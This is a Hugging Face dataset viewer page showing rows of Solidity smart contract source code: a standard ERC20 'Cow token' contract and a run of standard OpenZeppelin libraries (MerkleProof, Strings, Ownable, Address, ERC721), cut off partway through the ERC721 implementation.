Vageesh1/tokenized_contract_hf_selected · Datasets at Hugging Face

source_code stringlengths 52 864k	success stringclasses 1 value	input_ids list	attention_mask list
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Contract generated by TOKENTRADE // https://tokentrade.co // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // https://theethereum.wiki/w/index.php/ERC20_Token_Standard // (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and a // fixed supply // ---------------------------------------------------------------------------- contract ContractCowToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "COW"; name = "Cow token"; decimals = 18; _totalSupply = 1000.0 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. / library MerkleProof { /* * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. / function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /* * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ / function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try 